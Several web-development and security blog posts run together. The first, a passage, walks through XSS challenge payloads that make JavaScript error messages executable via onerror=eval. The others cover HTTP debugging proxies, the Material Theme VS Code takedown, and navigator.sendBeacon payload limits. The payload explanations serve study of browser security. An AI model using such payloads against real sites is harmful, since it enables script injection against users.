throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:

1. /a/
2. Uncaught=1
3. g=alert
4. a=URL+0
5. onerror=eval
6. throw /1/g+a[12]+[1337,3331,117]+a[13]

Because it is connected by commas, the part that gets thrown will be the last segment.

Let’s start with the last segment. What does throw /1/g+a[12]+[1337,3331,117]+a[13] do?

First, a is URL+0, and URL is a global function. The function + 0 will become a string, so a is "function URL() { [native code] }0", thus a[12] and a[13] are ( and ) respectively.

The /1/g is a regexp, and when it becomes a string, it will be "/1/g". As for the array [1337,3331,117], when converted to a string, it will call join, resulting in "1337,3331,117".

Putting it all together, /1/g+a[12]+[1337,3331,117]+a[13] will be /1/g(1337,3331,117).

Combined with what was mentioned earlier, the error message thrown will be:

Uncaught /1/g(1337,3331,117)

Here, the / was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., a / b / c, where a is Uncaught, b is 1, and c is g(1337,3331,117).

If Uncaught is not declared, it will throw an error, which is why Uncaught=1 is needed. Then g will be treated as a function, so g=alert.

What about the first line /a/? This is likely just to prevent a space between throw and the subsequent payload, and it doesn’t serve any other purpose.

The essence of this solution lies in making the error message become Uncaught /1/g(1337,3331,117) when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function g.

The second one comes from @cgvwzq:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

This is actually divided into two statements. The first statement is: TypeError.prototype.name ='=/', which forcibly changes the name of TypeError to =/.

Without this line, the error message for 0[0]['test'] would be: Uncaught TypeError: Cannot read properties of undefined (reading 'test').

0[0] will be undefined, and undefined['test'] will throw this TypeError.

After we forcibly change the name:

TypeError.prototype.name ='hello!';0[0]['test'];// Uncaught hello!: Cannot read properties of undefined (reading 'test')

We can control the original part of TypeError to become any string.

The other statement 0[onerror=eval]['/-alert(1)//'] simply places the assignment inside []. After the assignment, it is equivalent to 0[eval], which will return undefined, thus throwing a TypeError.

Let’s look at it another way, with the following code:

TypeError.prototype.name ='{1}';0[eval]['{2}'];

The error message generated in Chrome would be:

Uncaught {1}: can't access property "{2}", 0[eval] is undefined

Now the problem becomes how to control the string above to make the error message a valid piece of code?

In place of {1}, the author placed =/, resulting in Uncaught=/. This / actually means regexp, so the idea of this method is to make the string before {2} (: can't access property " ) become part of the regexp.

Thus, the beginning of {2} is /, forming a regexp with the preceding part, and then using -alert(1) to execute the function. It can also be changed to +alert(1), as it just needs to string the two operations together. After execution, the subsequent code is all commented out with //, so it can be ignored.

However, if you actually run the above payload, you will find that Chrome returns the error message: Invalid regular expression ... Unterminated group. This is because there is a ( in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a ) to fix it:

TypeError.prototype.name ='=/',0[onerror=eval][')/-alert(1)//']

The generated error message will be:

Uncaught =/: Cannot read properties of undefined (reading ')/-alert(1)//')

A simplified version would be:

Uncaught =/regexp/-alert(1)//...

By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: Uncaught SyntaxError: expected expression, got '='.

If you want to debug, just change onerror=eval to onerror=console.log to see what the generated error message looks like:

=/: can't access property ")//alert(1)//", 0[console.log] is undefined

It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:

TypeError.prototype.name ='a=/',0[onerror=eval]['/-alert(1)//']

If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):

TypeError.prototype.name ='=alert(1)//',0[onerror=eval][2]

As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:

TypeError.prototype.name ='+/[',[onerror=eval][window.Uncaught++][']/-alert\501\51<!--']

Summary

In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.

To understand the payload, you need to be somewhat familiar with JavaScript code, such as 0[onerror=eval] or the use of commas; you should at least know what’s going on.

Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.

Finally, here are a few key points:

1. Commas can chain multiple expressions, returning the last one.
2. Replacing onerror with eval allows you to execute the error message as code.
3. Errors thrown will become part of the error message.
4. As long as you can turn the error message into valid code, you’ve succeeded.

But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?

Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?

Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.

Unable to See Request Details Before Redirection

Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?

Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.

You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:

fetch('https://httpbin.org/user-agent')    .then(() => window.location = 'https://example.com')

After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:

This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: DevTools: XHR (and other resources) content not available after navigation..

In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.

Unable to Find the Cause of WebSocket Connection Handshake Failure

Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.

The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?

We can ask AI to write a very simple demo:

write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it

After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:

This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.

These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.

Simple and Easy-to-Use HTTP Proxy

Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.

Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.

Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:

1. Charles
2. Burp Suite
3. mitmproxy

When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.

The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.

Using Burp Suite as a Proxy App

First, download the free community version from the official website: https://portswigger.net/burp/communitydownload

After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:

Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.

Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:

In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:

If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.

(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: Installing Burp’s CA certificate)

That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.

For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

This way, you can debug using your familiar browser.

By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy.

Using mitmproxy with Scripts to Dynamically Change Content

I won’t go into detail about the installation process for mitmproxy; you can refer to the official documentation or collaborate with AI to install it yourself. After installation, remember to visit http://mitm.it to download and install the certificate so that you can intercept HTTPS traffic.

Once everything is installed, running mitmproxy will start the proxy, and you’ll see a CLI interface.

Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.

For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.

Although Chrome also has the override response feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.

Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:

from mitmproxy import httpimport requestsURL_MAPPINGS = {    "https://blog.huli.tw/js/script.js": "http://localhost:5555/script.js",}def request(flow: http.HTTPFlow) -> None:    for url in URL_MAPPINGS:        if flow.request.pretty_url.startswith(url):            replacement_url = URL_MAPPINGS[url]            replacement_response = requests.get(replacement_url)            flow.response = http.Response.make(                200,                replacement_response.content,                 {"Content-Type": "application/javascript"}             )            return

You can run it with this command:

mitmproxy -s proxy.py

Next, use the command mentioned earlier to open a browser configured with a proxy:

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

Then visit https://blog.huli.tw in the browser, and you will see that the content of the script has been replaced.

Conclusion

These are some proxies and usage methods that I commonly use.

Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.

In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.

Finally, here’s a little tip: when executing commands in the Mac CLI, adding https_proxy=http://localhost:8080 will configure the proxy, such as https_proxy=http://localhost:8080 cursor ., which will redirect all traffic from the Cursor IDE to the proxy.

1. It “allegedly” contains malicious code.
2. It is indeed malware.

For example, in BleepingComputer’s article VSCode extensions with 9 million installs pulled over security risks, it states:

Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.

It uses the term “allegedly containing malicious code.”

In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed @theo directly stated:

The Material Theme has just been removed from GitHub and VS Code due to shipping malware.

So, is the Material Theme extension on VS Code malware? To conclude: “No.”

What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.

The Beginning of the Incident and the Reason for Removal

(All times refer to Taiwan time)

On 2025/02/26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: This extension was reported to be problematic, mentioning that the following prompt appeared in VS Code:

We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.

This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: Lost Material Theme .

By 7 AM, discussions also began on Hacker News: Material Theme has been pulled from VS Code’s marketplace.

Around 3:40 PM, a member of the VS Code team, Isidor, responded:

Hi - Isidor here from the VS Code team.
A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.

We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.

Expect an announcement here with more details soon https://github.com/microsoft/vsmarketplace/

As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article https://code.visualstudio.com/docs/editor/extension-runtime-security

Thank you!

The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.

By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: Material theme compromised?, wanting to know more details.

The PM of the VS Code Marketplace, seaniyer, also provided a response at 9:57 AM on 2/27:

Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.

The RemovedPackages.md file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?

The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:

A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes

A cybersecurity company, Koi Security, published an article on 2025/02/27 titled A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:

Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme

Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency

The malicious code seems to be inside a dependency of the theme, which was compromised.

The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.

Author’s Rebuttal

On 2/28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:

This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.

At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:

If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.

Why was Material Theme suspected?

To summarize the above discussion, it is clear that Material Theme indeed did a few things:

1. It is clearly a theme, but the package contains JavaScript.
2. It has obfuscated code.
3. The code contains parts related to username and password.
4. It includes a utility for executing child processes.

If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.

Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.

In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a Has the Material Theme extension been compromised? thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.

Some say it may be related to these two discussions initiated by the author on August 10:

1. ⚠️ Looking for Typescript maintainer ⚠️
2. Premium extensions

Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.

As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used url-parser, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.

Regarding the “utility for executing child processes,” someone looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.

(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage)

The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article RE: VSCode Extension Drama: You can’t run your threat response like a High School clique.

Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.

Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the discussion thread on Reddit.

In summary, this comment from @r8 accurately reflects my thoughts:

Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.

The Important Line Between “Suspected” and “Confirmed”

The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”

However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”

Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.

The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”

This is actually a “line-drawing” issue.

For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.

However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.

So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.

Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:

1. It is clearly a theme, but the extension contains JavaScript, which is obfuscated.
2. It includes utilities used to execute child processes.
3. This extension has millions of downloads.

Before making a decision, they must understand the impact this decision will have.

For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?

Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).

In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.

Conclusion: The VS Code Team’s Apology

More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: Update RemovedPackages.md.

On March 12, they issued a public statement apologizing under the issue posted by the author:

False positives suck, and it hurts when it happens.

The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.

I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.
These extensions are safe and have been restored for the VS Code community to enjoy.

LINKS:
Material Theme
[Material Theme Icons]
(https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons)

Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.

Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman

So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.

However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).

If it were me, I might have decided to take it down as well, so I understand this decision.

But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”

Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”

To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.

Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?

By the way, BleepingComputer asked the cybersecurity company that initially reported the issue in the article Microsoft apologizes for removing VSCode extensions used by millions, and they still believe there is malicious code:

When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”

But it seems that no relevant evidence has been provided so far.

Why is this recommended?

Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.

Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.

navigator.sendBeacon was created to solve this problem.

As stated in the spec:

This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination

This specification defines an interface for web developers to schedule asynchronous and non-blocking data transmission, minimizing resource contention with other time-sensitive operations while ensuring that these requests can still be processed and delivered to the target location.

The usage is also very simple:

navigator.sendBeacon("/log", payload);

This will send a POST request to /log.

Although it is simple and easy to use, one important point to note is that the payload being sent has a size limit, and this limit is not just for a single request.

Payload Limit of navigator.sendBeacon

The payload limit for sendBeacon is 64 KiB, equivalent to 65536 bytes. If the payload consists entirely of English characters, since each character is one byte, that means 65536 characters.

If you exceed this size, you will find that the request cannot be sent and remains in a pending state:

<script>  navigator.sendBeacon("/log", 'A'.repeat(65536 + 1));</script>

Moreover, this limitation is not just for a single request; there is a queue behind it, and this queue will not accept new items if it exceeds 65536 bytes.

For example, when we continuously send 8 requests of 10000 characters each:

<script>  for(let i=1; i<=8; i++) {    navigator.sendBeacon("https://httpstat.us/200?log"+i, 'A'.repeat(10000));  }</script>

You will find that the last two requests remain in a pending state and cannot be sent:

This is because the first six sendBeacon calls have already filled the queue to 60000, so the last two cannot fit, and thus cannot accept new requests, remaining in a pending state without actively trying to push new ones in when the queue is empty.

However, strictly speaking, this is not actually a problem with sendBeacon, but rather a limitation that comes with fetch combined with keepalive. In fact, the underlying implementation of navigator.sendBeacon is fetch combined with keepalive.

The Specification of navigator.sendBeacon and a Short Story about Sentry

In the specification section 3.2 Processing Model, step six mentions the queue we just discussed:

If it is determined that the request cannot fit into the queue, sendBeacon will return false.

This is actually the solution when the payload encounters a problem. After calling sendBeacon, check if the return value is false. If it is, proceed to handle it, deciding whether to fallback to a regular fetch or implement a retry mechanism.

The seventh step is what sendBeacon primarily does: it creates a keepalive request and sends it out:

The payload limit for fetch + keepalive is 64 KiB, which is stated in the spec:

The error tracking service Sentry actually encountered this issue in the past. In 2018, it was discovered that Sentry had keepalive enabled by default when using fetch, causing some requests over 65536 bytes to fail to send. As a result, this flag was removed:

Source: When fetch is used keepalive is the default, and Chrome only allows a POST body <= 65536 bytes in that scenario #1464, the removed PR: ref: Remove keepalive:true as a default and document payload size #1496

Two years later, in 2020, someone discovered the specifications and correct usage of keepalive: Fetch KeepAlive #2547, proposing to use keepalive under the payload allowance, and not to use it if exceeded, rather than not using it at all as was the case then.

However, no action was taken at that time. It was another two years later, in 2022, when someone found that Chrome cancels all requests during navigation, causing some requests to fail to send, leading to the idea of using keepalive to solve this.

Thus, in September 2022, it was added back with insightful comments:

feat(browser): Use fetch keepalive flag #5697

// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).// Gotchas:// - `keepalive` isn't supported by Firefox// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when//   we're below that limit.keepalive: request.body.length <= 65536,

Machine translation from Chinese:

When switching to a different page, unfinished requests are often canceled, leading to a “TypeError: Failed to fetch” error and a “network_error” message. In Chrome, the request status shows “(cancelled)”.
The keepalive flag allows unfinished requests to remain active during page transitions. Since we often send events before users switch pages, this functionality is necessary.

Important to note:

1. Firefox does not support keepalive.
2. According to the specification, if a request is set with keepalive: true and the content length exceeds 64 KiB, a network error will be returned. Therefore, we will only enable this flag when the request content length is below that limit.

But the story doesn’t end here. As I mentioned earlier, this 65536 limit is not just for a single request, but there is a queue, so this approach is insufficient. Six months later, Sentry also noticed this issue and added logic to calculate the queue size, making the entire mechanism more robust: fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553

If you want to implement something similar in the future, you can directly refer to the above Sentry PR.

Implementation of sendBeacon

Implementation of sendBeacon in Chromium

Finally, let’s take a look at the underlying implementation of sendBeacon, starting with Chromium. I will use the latest stable version 131.0.6778.205 at the time of writing this article as an example. The relevant code can be found at: third_party/blink/renderer/modules/beacon/navigator_beacon.cc

I have extracted a small segment of the core code:

bool NavigatorBeacon::SendBeaconImpl(    ScriptState* script_state,    const String& url_string,    const V8UnionReadableStreamOrXMLHttpRequestBodyInit* data,    ExceptionState& exception_state) {  ExecutionContext* execution_context = ExecutionContext::From(script_state);  KURL url = execution_context->CompleteURL(url_string);  if (!CanSendBeacon(execution_context, url, exception_state)) {    return false;  }  bool allowed;  LocalFrame* frame = GetSupplementable()->DomWindow()->GetFrame();  if (data) {    switch (data->GetContentType()) {      // [...]      case V8UnionReadableStreamOrXMLHttpRequestBodyInit::ContentType::          kUSVString:        UseCounter::Count(execution_context,                          WebFeature::kSendBeaconWithUSVString);        allowed = PingLoader::SendBeacon(*script_state, frame, url,                                         data->GetAsUSVString());        break;    }  } else {    allowed = PingLoader::SendBeacon(*script_state, frame, url, String());  }  if (!allowed) {    UseCounter::Count(execution_context, WebFeature::kSendBeaconQuotaExceeded);  }  return allowed;}

The beginning of CanSendBeacon basically checks whether the URL is valid. If it is valid, it continues to check the content type of the payload to be sent, and the actual sending occurs in the PingLoader::SendBeacon method.

In addition, you can see UseCounter::Count in the code, which is used by Chromium to track the usage frequency of certain features.

The implementation of PingLoader::SendBeacon can be found at third_party/blink/renderer/core/loader/ping_loader.cc:

bool SendBeaconCommon(const ScriptState& state,                      LocalFrame* frame,                      const KURL& url,                      const BeaconData& beacon) {  if (!frame->DomWindow()           ->GetContentSecurityPolicyForWorld(&state.World())           ->AllowConnectToSource(url, url, RedirectStatus::kNoRedirect)) {    // We're simulating a network failure here, so we return 'true'.    return true;  }  ResourceRequest request(url);  request.SetHttpMethod(http_names::kPOST);  request.SetKeepalive(true);  request.SetRequestContext(mojom::blink::RequestContextType::BEACON);  beacon.Serialize(request);  FetchParameters params(std::move(request),                         ResourceLoaderOptions(&state.World()));  // The spec says:  //  - If mimeType is not null:  //   - If mimeType value is a CORS-safelisted request-header value for the  //     Content-Type header, set corsMode to "no-cors".  // As we don't support requests with non CORS-safelisted Content-Type, the  // mode should always be "no-cors".  params.MutableOptions().initiator_info.name =      fetch_initiator_type_names::kBeacon;  frame->Client()->DidDispatchPingLoader(url);  FetchUtils::LogFetchKeepAliveRequestMetric(      params.GetResourceRequest().GetRequestContext(),      FetchUtils::FetchKeepAliveRequestState::kTotal);  Resource* resource =      RawResource::Fetch(params, frame->DomWindow()->Fetcher(), nullptr);  return resource->GetStatus() != ResourceStatus::kLoadError;}

It first checks for CSP violations. If there are none, it sends a keepalive request and returns whether it was successful.

It is worth noting that in the same file, there is another function that does something similar, called PingLoader::SendLinkAuditPing. There is an attribute called ping on the <a> tag, and when the user clicks the link, the browser sends a request to the location specified by the ping:

<a  href="https://example.com"  ping="https://blog.huli.tw"  >click me</a>

This is also implemented using a keepalive fetch:

void PingLoader::SendLinkAuditPing(LocalFrame* frame,                                   const KURL& ping_url,                                   const KURL& destination_url) {  if (!ping_url.ProtocolIsInHTTPFamily())    return;  ResourceRequest request(ping_url);  request.SetHttpMethod(http_names::kPOST);  request.SetHTTPContentType(AtomicString("text/ping"));  request.SetHttpBody(EncodedFormData::Create(base::span_from_cstring("PING")));  request.SetHttpHeaderField(http_names::kCacheControl,                             AtomicString("max-age=0"));  request.SetHttpHeaderField(http_names::kPingTo,                             AtomicString(destination_url.GetString()));  scoped_refptr<const SecurityOrigin> ping_origin =      SecurityOrigin::Create(ping_url);  if (ProtocolIs(frame->DomWindow()->Url().GetString(), "http") ||      frame->DomWindow()->GetSecurityOrigin()->CanAccess(ping_origin.get())) {    request.SetHttpHeaderField(        http_names::kPingFrom,        AtomicString(frame->DomWindow()->Url().GetString()));  }  request.SetKeepalive(true);  request.SetReferrerString(Referrer::NoReferrer());  request.SetReferrerPolicy(network::mojom::ReferrerPolicy::kNever);  request.SetRequestContext(mojom::blink::RequestContextType::PING);  FetchParameters params(      std::move(request),      ResourceLoaderOptions(frame->DomWindow()->GetCurrentWorld()));  params.MutableOptions().initiator_info.name =      fetch_initiator_type_names::kPing;  frame->Client()->DidDispatchPingLoader(ping_url);  FetchUtils::LogFetchKeepAliveRequestMetric(      params.GetResourceRequest().GetRequestContext(),      FetchUtils::FetchKeepAliveRequestState::kTotal);  RawResource::Fetch(params, frame->DomWindow()->Fetcher(), nullptr);}

Implementation of sendBeacon in Safari

The implementation in Safari can be found at WebKit/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp:

